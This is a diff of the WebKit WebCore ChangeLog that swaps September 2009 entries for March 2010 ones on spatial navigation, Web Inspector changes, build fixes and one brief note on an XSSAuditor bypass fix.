+2010-03-04  Antonio Gomes  <tonikitoo@webkit.org>
 
-        When loading is deferred, we need to defer timer-based loads
-        too, not just networking-driven loads. Otherwise we can get
-        syncronouse navigation while running a script, which leads to
-        crashes and other badness.
+        Reviewed by Simon Fraser.
 
-        This patch includes a manual test; an automated test may be
-        possible some time in the future.
+        Attempt to fix Mac build.
 
-        * dom/Document.cpp:
-        (WebCore::Document::processHttpEquiv): Use scheduleLocationChange
-        instead of scheduleHTTPRedirection to implement the navigation
-        needed for x-frame-options.
+        * page/SpatialNavigation.cpp:
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::FrameLoader): Updated for data members with
-        new names and new data members.
-        (WebCore::FrameLoader::setDefersLoading): When turning deferral
-        off, call startRedirectionTimer and startCheckCompleteTimer, since
-        either of them might have been fired and ignored while defersLoading
-        was true.
-        (WebCore::FrameLoader::clear): Updated for replacement of the
-        m_checkCompletedTimer and m_checkLoadCompleteTimer timers.
-        (WebCore::FrameLoader::allAncestorsAreComplete): Added.
-        (WebCore::FrameLoader::checkCompleted): Added code to set
-        m_shouldCallCheckCompleted to false. Changed code that calls
-        startRedirectionTimer to call it unconditionally, since that
-        function now knows when to do work and doesn't expect callers
-        to handle that any more.
-        (WebCore::FrameLoader::checkTimerFired): Added. Replaces the old
-        timer fired callbacks. Calls checkCompleted and checkLoadComplete
-        as appropriate, but not when defersLoading is true.
-        (WebCore::FrameLoader::startCheckCompleteTimer): Added. Replaces
-        the two different calls to start timers before. Only starts the
-        timers if they are needed.
-        (WebCore::FrameLoader::scheduleCheckCompleted): Changed to call
-        startCheckCompleteTimer after setting boolean.
-        (WebCore::FrameLoader::scheduleCheckLoadComplete): Ditto.
-        (WebCore::FrameLoader::scheduleHistoryNavigation): Removed
-        canGoBackOrForward check. The logic works more naturally when
-        we don't do anything until the timer fires.
-        (WebCore::FrameLoader::redirectionTimerFired): Do nothing if
-        defersLoading is true. Also moved canGoBackOrForward check here.
-        (WebCore::FrameLoader::scheduleRedirection): Changed code that
-        calls startRedirectionTimer to do so unconditionally. That
-        function now handles the rules about when to start the timer
-        rather than expecting the caller to do so.
-        (WebCore::FrameLoader::startRedirectionTimer): Added code to
-        handle the case where there is no redirection scheduled,
-        where the timer is already active, or where this is a classic
-        redirection and there is an ancestor that has not yet completed
-        loading.
-        (WebCore::FrameLoader::completed): Call startRedirectionTimer
-        here directly instead of calling a cover named parentCompleted.
-        Hooray! One less function in the giant FrameLoader class!
-        (WebCore::FrameLoader::checkLoadComplete): Added code to set
-        m_shouldCallCheckLoadComplete to false.
-
-        * loader/FrameLoader.h: Replaced the two functions
-        checkCompletedTimerFired and checkLoadCompleteTimerFired with
-        one function, checkTimerFired. Removed the parentCompleted
-        function. Added the startCheckCompleteTimer and
-        allAncestorsAreComplete functions. Replaced the
-        m_checkCompletedTimer and m_checkLoadCompleteTimer data
-        members with m_checkTimer, m_shouldCallCheckCompleted, and
-        m_shouldCallCheckLoadComplete.
-
-        * manual-tests/go-back-after-alert.html: Added.
-        * manual-tests/resources/alert-and-go-back.html: Added.
-
-2009-09-23  David Kilzer  <ddkilzer@apple.com>
-
-        <http://webkit.org/b/29660> Move "Generate 64-bit Export File" build phase script into DerivedSources.make
+2010-03-04  Jesus Sanchez-Palencia  <jesus.palencia@openbossa.org>
 
-        Reviewed by Mark Rowe.
+        Add SpatialNavigation header and cpp to Mac XCode project file.
 
-        The "Generate 64-bit Export File" build phase script generated
-        the WebCore.LP64.exp export file used to link 64-bit WebCore.
-        Instead of having a separate build phase script, move its
-        generation into DerivedSources.make where WebCore.exp is
-        generated.
+        Reviewed by Kenneth Christiansen.
 
-        * DerivedSources.make: Added a rule to make WebCore.LP64.exp.
-        Added code to append WebCore.PluginHostProcess.exp to
-        $(WEBCORE_EXPORT_DEPENDENCIES) when WTF_USE_PLUGIN_HOST_PROCESS
-        is set to 1.
-        * WebCore.PluginHostProcess.exp: Renamed from WebCore/WebCore.LP64.exp.
-        * WebCore.xcodeproj/project.pbxproj: Removed the "Generate
-        64-bit Export File" build phase script. Renamed WebCore.LP64.exp
-        to WebCore.PluginHostProcess.exp.
+        * WebCore.xcodeproj/project.pbxproj:
 
-2009-09-23  Peter Kasting  <pkasting@google.com>
+2010-03-02  Antonio Gomes  <tonikitoo@webkit.org>
 
-        Reviewed by Dimitri Glazkov.
+        Reviewed by Simon Fraser, Eric Seidel and Darin Adler.
+        Patch by Antonio Gomes <tonikitoo@webkit.org>
+        Based on the initial work of Marco Barisione <marco.barisione@collabora.co.uk>
 
-        https://bugs.webkit.org/show_bug.cgi?id=29694
-        [Chromium] Eliminate dependency on gfx::Rect from ImageSkia.
+        Extend keyboard navigation to allow directional navigation
+        https://bugs.webkit.org/show_bug.cgi?id=18662
 
-        * platform/graphics/skia/ImageSkia.cpp:
-        (WebCore::drawResampledBitmap):
+        This patch implements the core logic of the 'Spatial Navigation' feature [1].
+        It improves the accessibility support of WebCore by extending the basic keyboard
+        navigation currently available (based on Tab forward and backward) with the
+        addition of a two-dimensional directional navigation by using Left, Right, Up and
+        Down arrow keys to move to the "nearest" element in the corresponding direction.
 
-2009-09-22  Timothy Hatcher  <timothy@apple.com>
+        Highlights:
+        * Feature is turned off by default in Settings. Port specific APIs need to be added
+          for toggling it on/off.
+        * Only elements viewed in the current viewport can have focus move to it. If the
+          "nearest" is not in viewport dimensions, then a scroll-in-direction action is
+          performed.
 
-        Prevent scrolling multiple elements during latched wheel events.
+        Known issues (to be covered in follow-up bugs):
+        * Add port specific hooks to each DRT to enable/disable Spatial Navigation.
+        * Support for spatial navigation through form elements (<input>, <select>, etc)
+          is be added.
+        * Make navigation keys customizable. It currently works with arrows keys only
+          (up, down, right and left).
+        * Make it support modifiers (Alt, Ctrl and Shift).
+        * Improve support on scrollable content.
 
-        Reviewed by Anders Carlsson.
+        [1] http://en.wikipedia.org/wiki/Spatial_navigation
 
+        * Android.mk:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
         * page/EventHandler.cpp:
-        (WebCore::scrollAndAcceptEvent):
-        (WebCore::EventHandler::clear):
-        (WebCore::EventHandler::handleWheelEvent):
+        (WebCore::EventHandler::defaultKeyboardEventHandler):
+        (WebCore::EventHandler::focusDirectionForKey):
+        (WebCore::EventHandler::defaultArrowEventHandler):
         * page/EventHandler.h:
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::scroll):
-        * rendering/RenderBox.h:
-
-2009-09-23  Daniel Bates  <dbates@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29523
-        
-        Fixes an issue where a JavaScript URL that was URL-encoded twice can bypass the
-        XSSAuditor.
-        
-        The method FrameLoader::executeIfJavaScriptURL decodes the URL escape 
-        sequences in a JavaScript URL before it is eventually passed to the XSSAuditor.
-        Because the XSSAuditor also decodes the URL escape sequences as part of its
-        canonicalization, the double decoding of a JavaScript URL would
-        not match the canonicalization of the input parameters.
-
-        Tests: http/tests/security/xssAuditor/iframe-javascript-url-url-encoded.html
-               http/tests/security/xssAuditor/javascript-link-url-encoded.html
-
-        * bindings/js/ScriptController.cpp:
-        (WebCore::ScriptController::evaluate): Moved call to 
-        XSSAuditor::canEvaluateJavaScriptURL into FrameLoader::executeIfJavaScriptURL.
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::evaluate): Ditto.
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::executeIfJavaScriptURL): Modified to call 
-        XSSAuditor::canEvaluateJavaScriptURL on the JavaScript URL before it is
-        decoded.
-
-2009-09-22  Dave Hyatt  <hyatt@apple.com>
-
-        Reviewed by John Sullivan.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29657
-        Columns don't break properly in positioned elements with a fixed height.  Make sure that
-        a block is still considered to have columns even when the column count is 1 if the column
-        width is non-auto.
-    
-        Added fast/multicol/positioned-with-constrained-height.html
-
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::setDesiredColumnCountAndWidth):
-
-2009-09-23  Holger Hans Peter Freyther  <zecke@selfish.org>
-
-        Rubber-stamped by Simon Hausmann.
+        * page/FocusController.cpp:
+        (WebCore::FocusController::advanceFocus):
+        (WebCore::FocusController::advanceFocusInDocumentOrder):
+        (WebCore::FocusController::advanceFocusDirectionally):
+        (WebCore::updateFocusCandidateIfCloser):
+        (WebCore::FocusController::findFocusableNodeInDirection):
+        (WebCore::FocusController::deepFindFocusableNodeInDirection):
+        * page/FocusController.h:
+        * page/FocusDirection.h:
+        (WebCore::):
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setSpatialNavigationEnabled):
+        * page/Settings.h:
+        (WebCore::Settings::isSpatialNavigationEnabled):
+        * page/SpatialNavigation.cpp: Added.
+        (WebCore::distanceInDirection):
+        (WebCore::renderRectRelativeToRootDocument):
+        (WebCore::alignmentForRects):
+        (WebCore::isHorizontalMove):
+        (WebCore::areRectsFullyAligned):
+        (WebCore::areRectsPartiallyAligned):
+        (WebCore::spatialDistance):
+        (WebCore::isRectInDirection):
+        (WebCore::hasOffscreenRect):
+        (WebCore::scrollInDirection):
+        (WebCore::isInRootDocument):
+        (WebCore::deflateIfOverlapped):
+        * page/SpatialNavigation.h: Added.
+        (WebCore::):
+        (WebCore::FocusCandidate::FocusCandidate):
 
-        Add a null check for the Document*. In the mirror benchmarking
-        application a crash from a call from JavaScript was observed.
+2010-03-04  Beth Dakin  <bdakin@apple.com>
 
-        I was not able to come up with a test case for this issue.
+        Reviewed by Anders Carlsson.
 
-        * platform/qt/CookieJarQt.cpp:
-        (WebCore::cookieJar):
+        This fixes the layering violation I committed yesterday by moving 
+        Page::instanceHandle into its own file just in the WebCore 
+        namespace.
 
-2009-09-23  Simon Hausmann  <simon.hausmann@nokia.com>
+        Added WebCoreInstanceHandle.h + .cpp and removed PageWin.cpp
+        * WebCore.vcproj/WebCore.vcproj:
+        * page/win/PageWin.cpp: Removed.
 
-        Reviewed by Tor Arne Vestbø.
+        Remove all instance handle code from Page.
+        * page/Page.h:
 
-        Fix the Qt/Windows build, after the introduction of
-        the page client.
+        New files.
+        * platform/win/WebCoreInstanceHandle.cpp: Added.
+        * platform/win/WebCoreInstanceHandle.h: Added.
+        (WebCore::setInstanceHandle):
+        (WebCore::instanceHandle):
 
+        Switch to WebCore::instanceHandle() instead of 
+        Page::instanceHandle() and include the new header.
+        * platform/graphics/win/WKCACFLayerRenderer.cpp:
+        (WebCore::WKCACFLayerRenderer::acceleratedCompositingAvailable):
+        * platform/win/PasteboardWin.cpp:
+        (WebCore::Pasteboard::Pasteboard):
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::show):
+        (WebCore::PopupMenu::registerClass):
+        * platform/win/SharedTimerWin.cpp:
+        (WebCore::initializeOffScreenTimerWindow):
         * plugins/win/PluginViewWin.cpp:
-        (windowHandleForPageClient):
-        (WebCore::PluginView::getValue):
-        (WebCore::PluginView::forceRedraw):
+        (WebCore::registerPluginView):
         (WebCore::PluginView::platformStart):
 
-2009-09-23  Gustavo Noronha Silva  <gns@gnome.org>
-
-        Reviewed by Xan Lopez.
-
-        [GTK] media tests failing after their rework
-        https://bugs.webkit.org/show_bug.cgi?id=29532
-
-        Correctly advertise the mime types used by the common formats used
-        in the tests.
-
-        Tests that regressed, and will pass again:
-
-           media/video-canvas-source.html
-           media/video-controls.html
-           media/video-currentTime-set2.html
-           media/video-dom-autoplay.html
-           media/video-dom-src.html
-           media/video-error-abort.html
-           media/video-load-networkState.html
-           media/video-load-readyState.html
-           media/video-muted.html
-           media/video-no-autoplay.html
-           media/video-pause-empty-events.html
-           media/video-play-empty-events.html
-           media/video-seekable.html
-           media/video-seeking.html
-           media/video-size.html
-           media/video-source-type-params.html
-           media/video-source-type.html
-           media/video-source.html
-           media/video-src-change.html
-           media/video-src-invalid-remove.html
-           media/video-src-remove.html
-           media/video-src-set.html
-           media/video-src-source.html
-           media/video-src.html
-           media/video-timeupdate-during-playback.html
-           media/video-volume.html
-
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::mimeTypeCache):
-
-2009-09-22  Charles Wei  <charles.wei@torchmobile.com.cn>
-
-        Reviewed by Eric Seidel.
-
-        Fix the crash problem with absolte positioned children in foreignobject
-        htts://bugs.webkit.org/show_bug.cgi?id=26342
-
-        Test: svg/custom/foreignobject-crash-with-absolute-positioned-children.svg
-
-        * rendering/RenderForeignObject.h:
-        (WebCore::RenderForeignObject::isSVGForeignObject):
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::containingBlock):
-        * rendering/RenderObject.h:
-        (WebCore::RenderObject::isSVGForeignObject):
-
-2009-09-22  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by David Levin.
-
-        SharedWorkers "name" attribute is now optional.
-        https://bugs.webkit.org/show_bug.cgi?id=28897
-
-        Test: fast/workers/shared-worker-name.html
-
-        * bindings/js/JSSharedWorkerConstructor.cpp:
-        (WebCore::constructSharedWorker):
-        Default 'name' attribute to empty string if it is not provided.
-        * bindings/v8/custom/V8SharedWorkerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        Default 'name' attribute to empty string if it is not provided.
-        * workers/DefaultSharedWorkerRepository.cpp:
-        (WebCore::SharedWorkerProxy::matches):
-        Now matches URLs if names are empty strings.
-        (WebCore::DefaultSharedWorkerRepository::getProxy):
-        Pass URL in to SharedWorkerProxy::matches().
-
-2009-09-22  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Unreviewed, another build fix.
-
-        [Chromium] Add another missing include.
-        https://bugs.webkit.org/show_bug.cgi?id=29536
-
-        * inspector/InspectorController.cpp: Added DOMWindow.h include.
-
-2009-09-22  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Unreviewed, build fix.
-
-        [Chromium] Add missing include.
-        https://bugs.webkit.org/show_bug.cgi?id=29536
-
-        * inspector/InspectorDOMStorageResource.cpp: Added DOMWindow.h include.
+2010-03-04  Antonio Gomes  <tonikitoo@webkit.org>
 
-2009-09-22  Darin Adler  <darin@apple.com>
+        Unreviewed build fix.
+        Patch by Antonio Gomes <tonikitoo@webkit.org>
 
-        Reviewed by Sam Weinig.
+        'glib_file_name' renamed to 'gligFileName'.
 
-        Tighten up the ScheduledRedirection machinery to prepare for a bug fix
-        https://bugs.webkit.org/show_bug.cgi?id=29663
+        * platform/graphics/gtk/ImageGtk.cpp:
+        (WebCore::Image::loadPlatformResource):
 
-        * loader/FrameLoader.cpp:
-        (WebCore::ScheduledRedirection::ScheduledRedirection): Added a boolean,
-        initialized to false, to keep track if the redirection has been
-        communicated to the client.
-        (WebCore::FrameLoader::stopLoading): Tweaked a comment.
-        (WebCore::FrameLoader::cancelRedirection): Removed code to clear
-        m_scheduledRedirection.clear since stopRedirectionTimer does that now.
-        (WebCore::FrameLoader::allChildrenAreComplete): Added.
-        (WebCore::FrameLoader::checkCompleted): Use allChildrenAreComplete
-        function for clarity.
-        (WebCore::FrameLoader::checkCallImplicitClose): Ditto.
-        (WebCore::FrameLoader::scheduleRedirection): Changed to take a PassOwnPtr.
-        (WebCore::FrameLoader::startRedirectionTimer): Added code to set the
-        toldClient flag and not call clientRedirected a second time if it is set.
-        (WebCore::FrameLoader::stopRedirectionTimer): Changed so this can be safely
-        called multiple times and it will call clientRedirectCancelledOrFinished
-        only once.
-
-        * loader/FrameLoader.h: Changed scheduleRedirection to be a PassOwnPtr.
-        Added allChildrenAreComplete function.
-
-2009-09-22  Yury Semikhatsky  <yurys@chromium.org>
+2010-03-04  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        WebInspector: Migrate Databases tab to InjectedScript /
-        serialized interaction.
+        Web Inspector: Remove two last synchronous calls from front-end to InspectorBackend.
 
-        DOMStorage interaction is now serialized into JSON messages
-        and doesn't require quarantined objects.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=28873
+        https://bugs.webkit.org/show_bug.cgi?id=35720
 
-        * dom/EventListener.h:
-        (WebCore::EventListener::):
         * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::selectDOMStorage):
-        (WebCore::InspectorBackend::getDOMStorageEntries):
-        (WebCore::InspectorBackend::setDOMStorageItem):
-        (WebCore::InspectorBackend::removeDOMStorageItem):
+        (WebCore::InspectorBackend::enableSearchingForNode):
+        (WebCore::InspectorBackend::disableSearchingForNode):
+        (WebCore::InspectorBackend::setPauseOnExceptionsState):
         * inspector/InspectorBackend.h:
         * inspector/InspectorBackend.idl:
         * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::didCommitLoad):
-        (WebCore::InspectorController::selectDOMStorage):
-        (WebCore::InspectorController::getDOMStorageEntries):
-        (WebCore::InspectorController::setDOMStorageItem):
-        (WebCore::InspectorController::removeDOMStorageItem):
-        (WebCore::InspectorController::getDOMStorageResourceForId):
+        (WebCore::InspectorController::setWindowVisible):
+        (WebCore::InspectorContorller::setSearchingForNode):
+        (WebCore::InspectorController::populateScriptObjects):
         * inspector/InspectorController.h:
-        * inspector/InspectorDOMStorageResource.cpp:
-        (WebCore::InspectorDOMStorageResource::InspectorDOMStorageResource):
-        (WebCore::InspectorDOMStorageResource::bind):
-        (WebCore::InspectorDOMStorageResource::unbind):
-        (WebCore::InspectorDOMStorageResource::startReportingChangesToFrontend):
-        (WebCore::InspectorDOMStorageResource::handleEvent):
-        (WebCore::InspectorDOMStorageResource::operator==):
-        * inspector/InspectorDOMStorageResource.h:
-        (WebCore::InspectorDOMStorageResource::cast):
-        (WebCore::InspectorDOMStorageResource::id):
-        (WebCore::InspectorDOMStorageResource::domStorage):
         * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::selectDOMStorage):
-        (WebCore::InspectorFrontend::didGetDOMStorageEntries):
-        (WebCore::InspectorFrontend::didSetDOMStorageItem):
-        (WebCore::InspectorFrontend::didRemoveDOMStorageItem):
-        (WebCore::InspectorFrontend::updateDOMStorage):
+        (WebCore::InspectorFrontend::searchingForNodeWasEnabled):
+        (WebCore::InspectorFrontend::searchingForNodeWasDisabled):
+        (WebCore::InspectorFrontend::updatePauseOnExceptionsState):
         * inspector/InspectorFrontend.h:
-        * inspector/front-end/DOMStorage.js:
-        (WebInspector.DOMStorage):
-        (WebInspector.DOMStorage.prototype.get id):
-        (WebInspector.DOMStorage.prototype.get domStorage):
-        (WebInspector.DOMStorage.prototype.get isLocalStorage):
-        (WebInspector.DOMStorage.prototype.getEntriesAsync):
-        (WebInspector.DOMStorage.prototype.setItemAsync):
-        (WebInspector.DOMStorage.prototype.removeItemAsync):
-        * inspector/front-end/DOMStorageDataGrid.js:
-        (WebInspector.DOMStorageDataGrid):
-        (WebInspector.DOMStorageDataGrid.prototype._startEditingColumnOfDataGridNode):
-        (WebInspector.DOMStorageDataGrid.prototype._startEditing):
-        (WebInspector.DOMStorageDataGrid.prototype._editingCommitted):
-        (WebInspector.DOMStorageDataGrid.prototype._editingCancelled):
-        (WebInspector.DOMStorageDataGrid.prototype.deleteSelectedRow):
-        * inspector/front-end/DOMStorageItemsView.js:
-        (WebInspector.DOMStorageItemsView.prototype.update):
-        (WebInspector.DOMStorageItemsView.prototype._showDOMStorageEntries):
-        (WebInspector.DOMStorageItemsView.prototype._dataGridForDOMStorageEntries):
-        * inspector/front-end/StoragePanel.js:
-        (WebInspector.StoragePanel.prototype.show):
-        (WebInspector.StoragePanel.prototype.reset):
-        (WebInspector.StoragePanel.prototype.selectDOMStorage):
-        (WebInspector.StoragePanel.prototype.updateDOMStorage):
-        (WebInspector.StoragePanel.prototype._domStorageForId):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel):
+        (WebInspector.ElementsPanel.prototype.get statusBarItems):
+        (WebInspector.ElementsPanel.prototype.hide):
+        (WebInspector.ElementsPanel.prototype.reset):
+        (WebInspector.ElementsPanel.prototype.searchingForNodeWasEnabled):
+        (WebInspector.ElementsPanel.prototype.searchingForNodeWasDisabled):
+        (WebInspector.ElementsPanel.prototype._nodeSearchButtonClicked):
+        * inspector/front-end/InspectorBackendStub.js:
+        (.WebInspector.InspectorBackendStub.prototype.enableSearchingForNode):
+        (.WebInspector.InspectorBackendStub.prototype.disableSearchingForNode):
+        (.WebInspector.InspectorBackendStub.prototype.setPauseOnExceptionsState):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        (WebInspector.ScriptsPanel.prototype.get statusBarItems):
+        (WebInspector.ScriptsPanel.prototype.updatePauseOnExceptionsState):
+        (WebInspector.ScriptsPanel.prototype._updateDebuggerButtons):
+        (WebInspector.ScriptsPanel.prototype._togglePauseOnExceptions):
         * inspector/front-end/inspector.js:
-        (WebInspector.addDOMStorage):
-        (WebInspector.updateDOMStorage):
-
-2009-09-22  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Alexey Proskuryakov.
-
-        Fix for XMLHttpRequest.abort() should destroy the response text.
-        https://bugs.webkit.org/show_bug.cgi?id=29658
-        <rdar://problem/5301430>
-
-        Clearing the response text after calling XMLHttpRequest.abort() is necessary
-        per spec and matches Firefox. It is also a potential memory win.
-
-        Test: http/tests/xmlhttprequest/abort-should-destroy-responseText.html
-
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::abort): Clear the response text making sure to
-        keep the actual ResourceReponse around so that the response status and response
-        status text are kept around.
-
-2009-09-22  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        No review, rolling out r48639.
-        http://trac.webkit.org/changeset/48639
-
-        * bindings/v8/V8GCController.cpp:
-        (WebCore::ObjectGrouperVisitor::visitDOMWrapper):
-
-2009-09-22  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
+        (WebInspector.searchingForNodeWasEnabled):
+        (WebInspector.searchingForNodeWasDisabled):
+        (WebInspector.updatePauseOnExceptionsState):
 
-        Changing the transaction coordinator to (re-)allow multiple read
-        transactions on the same database to run concurrently (without
-        risking a deadlock this time).
-
-        https://bugs.webkit.org/show_bug.cgi?id=29115
-
-        Tests: storage/read-and-write-transactions-dont-run-together.html
-               storage/read-transactions-running-concurrently.html
-
-        * storage/SQLTransaction.h:
-        (WebCore::SQLTransaction::isReadOnly): Returns the type of the
-        transaction.
-        * storage/SQLTransactionCoordinator.cpp:
-        (WebCore::SQLTransactionCoordinator::acquireLock): Changed to
-        allow multiple read transactions on the same DB to run
-        concurrently.
-        (WebCore::SQLTransactionCoordinator::releaseLock): Changed to
-        allow multiple read transactions on the same DB to run
-        concurrently.
-        (WebCore::SQLTransactionCoordinator::shutdown): Renamed the map.
-        * storage/SQLTransactionCoordinator.h:
-
-2009-09-22  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by David Levin.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29652
-        Support true system colors for CSS system colors in Chromium/Win.
-
-        * rendering/RenderThemeChromiumWin.cpp:
-        (WebCore::cssValueIdToSysColorIndex):
-        (WebCore::RenderThemeChromiumWin::systemColor):
-        * rendering/RenderThemeChromiumWin.h:
-
-2009-09-22  Beth Dakin  <bdakin@apple.com>
-
-        Reviewed by Dave Hyatt.
-
-        Fix for <rdar://problem/6925121> SAP: Wrong width calculation in 
-        table with fixed layout
-        -and corresponding-
-        https://bugs.webkit.org/show_bug.cgi?id=29501
-
-        New Tests:
-        * fast/table/fixed-table-with-percent-inside-percent-table.html: Added.
-        * fast/table/fixed-table-with-percent-width-inside-auto-table.html: Added.
-        * fast/table/fixed-table-with-percent-width-inside-div.html: Added.
-        * fast/table/fixed-table-with-percent-width-inside-extra-large-div.html: Added.
-        * fast/table/fixed-table-with-percent-width-inside-fixed-width-table.html: Added.
-        * fast/table/fixed-table-with-small-percent-width.html: Added.
-
-        This new quirk is very similar to an existing one that was 
-        implemented in revision 4316.
-        * rendering/FixedTableLayout.cpp:
-        (WebCore::FixedTableLayout::calcPrefWidths):
-
-2009-09-22  Brian Weinstein  <bweinstein@apple.com>
+2010-03-03  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        List HTTP status code with response headers in resources tab of Web Inspector.
-        http://webkit.org/b/19945
+        Web Inspector: Clicking on an error should take me to the error
 
-        This patch adds a new top level list in the resources tab, HTTP Information, that 
-        for now, contains the Request Method (GET, POST, etc.) and the Status Code (200, 404, etc.).
-        Additionally, it adds a colored dot next to the requested URL to show the status 
-        (green for success, orange for redirect, red for error).
+        https://bugs.webkit.org/show_bug.cgi?id=34860
 
-        * English.lproj/localizedStrings.js:
-        * inspector/front-end/ImageView.js:
-        (WebInspector.ImageView):
-        * inspector/front-end/Images/errorRedDot.png: Added.
-        * inspector/front-end/Images/successGreenDot.png: Added.
-        * inspector/front-end/Images/warningOrangeDot.png: Added.
-        * inspector/front-end/Resource.js:
-        (WebInspector.Resource.StatusTextForCode):
         * inspector/front-end/ResourceView.js:
         (WebInspector.ResourceView):
-        (WebInspector.ResourceView.prototype._refreshURL):
-        (WebInspector.ResourceView.prototype._refreshHTTPInformation):
-        * inspector/front-end/inspector.css:
-
-2009-09-22  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Back list isn't properly updated for fragment changes after a redirect.
-        <rdar://problem/6142803> and https://bugs.webkit.org/show_bug.cgi?id=20355
-
-        Test: fast/loader/fragment-after-redirect-gets-back-entry.html
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::loadURL): Properly reset the policy FrameLoadType before
-          consulting the policy delegate for fragment scrolling.
-
-2009-09-22  Darin Fisher  <darin@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Drop down selects get stuck in the non-visible state and cannot be opened.
-        https://bugs.webkit.org/show_bug.cgi?id=29645
-
-        All paths that lead to hiding the popup menu must call popupDidHide on
-        the PopupMenuClient.  This change makes it so by moving all of the
-        hiding logic to PopupListBox::hidePopup.
-
-        * platform/chromium/PopupMenuChromium.cpp:
-        (WebCore::PopupContainer::hidePopup):
-        (WebCore::PopupListBox::hidePopup):
-        * platform/chromium/PopupMenuChromium.h:
-
-2009-09-22  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector.log() function not protected if console not yet created
-        https://bugs.webkit.org/show_bug.cgi?id=29336
-        
-        No new tests.  Only affects Web Inspector developers adding logging
-        to their code during development.
-
-        * inspector/front-end/inspector.js:
-        (WebInspector.log.isLogAvailable):
-        (WebInspector.log.flushQueue):
-        (WebInspector.log.flushQueueIfAvailable):
-        (WebInspector.log.logMessage):
-        (WebInspector.log):
-
-2009-09-22  Yaar Schnitman  <yaar@chromium.org>
-
-        Reviewed by David Levin.
-
-        Ported chromium.org's webcore.gyp for the webkit chromium port.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29617
-
-        * WebCore.gyp/WebCore.gyp: Added.
-
-2009-09-22  Christian Plesner Hansen  <christian.plesner.hansen@gmail.com>
-
-        Reviewed by Adam Barth.
-
-        [v8] Don't keep clean wrappers artificially alive        
-        We currently keep all DOM node wrappers alive, even when there are
-        no more references to them from JS, in case they have properties
-        that we need to keep around if new JS references are created.
-        This changes the policy to only keep wrappers artificially alive
-        if they have changed since they were created. Empty wrappers are
-        discarded and recreated as needed.
-        https://bugs.webkit.org/show_bug.cgi?id=29330
-
-        * bindings/v8/V8GCController.cpp:
-        (WebCore::ObjectGrouperVisitor::visitDOMWrapper):
+        (WebInspector.ResourceView.prototype._selectTab):
+        (WebInspector.ResourceView.prototype.selectContentTab):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.showResource):
 
-2009-09-22  Pavel Feldman  <pfeldman@chromium.org>
+2010-03-03  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Web Inspector: console.count and console.timeEnd
-        crash when inspector is opened.
+        Web Inspector: Remove sync access to resourceTrackingEnabled.
 
-        https://bugs.webkit.org/show_bug.cgi?id=29632
+        https://bugs.webkit.org/show_bug.cgi?id=35693
 
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::addMessageToConsole):
-
-2009-09-22  Adam Barth  <abarth@webkit.org>
+        * inspector/InspectorBackend.cpp:
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::populateScriptObjects):
+        * inspector/front-end/AuditsPanel.js:
+        (WebInspector.AuditsPanel.prototype._reloadResources):
+        (WebInspector.AuditsPanel.prototype.show):
+        * inspector/front-end/InspectorBackendStub.js:
+        (.WebInspector.InspectorBackendStub):
+        (.WebInspector.InspectorBackendStub.prototype.enableResourceTracking):
+        (.WebInspector.InspectorBackendStub.prototype.disableResourceTracking):
+        (.WebInspector.InspectorBackendStub.prototype.enableDebugger):
+        (.WebInspector.InspectorBackendStub.prototype.disableDebugger):
+        (.WebInspector.InspectorBackendStub.prototype.enableProfiler):
+        (.WebInspector.InspectorBackendStub.prototype.disableProfiler):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel):
+        (WebInspector.ResourcesPanel.prototype.get resourceTrackingEnabled):
+        (WebInspector.ResourcesPanel.prototype.get visibleView):
+        (WebInspector.ResourcesPanel.prototype.resourceTrackingWasEnabled):
+        (WebInspector.ResourcesPanel.prototype.resourceTrackingWasDisabled):
+        (WebInspector.ResourcesPanel.prototype.reset):
+        (WebInspector.ResourcesPanel.prototype.showResource):
+        (WebInspector.ResourcesPanel.prototype._enableResourceTracking):
+        (WebInspector.ResourcesPanel.prototype._toggleResourceTracking):
 
-        Unreviewed.
